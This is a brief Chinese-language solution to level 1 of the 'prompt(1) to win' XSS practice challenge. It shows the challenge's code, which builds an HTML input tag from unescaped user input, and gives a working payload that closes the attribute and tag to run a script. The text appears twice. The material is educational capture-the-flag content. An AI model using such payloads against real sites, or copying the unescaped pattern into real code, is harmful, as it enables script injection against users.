题目
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
解题思路
水题。直接闭合双引号和标签即可注入。
payload : "><script>prompt(1)</script>

答案下载
- payload.html : 下载
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
水题。直接闭合双引号和标签即可注入。
payload : "><script>prompt(1)</script>

【prompt(1) to win】 Level 1 - tags stripping
威胁情报播报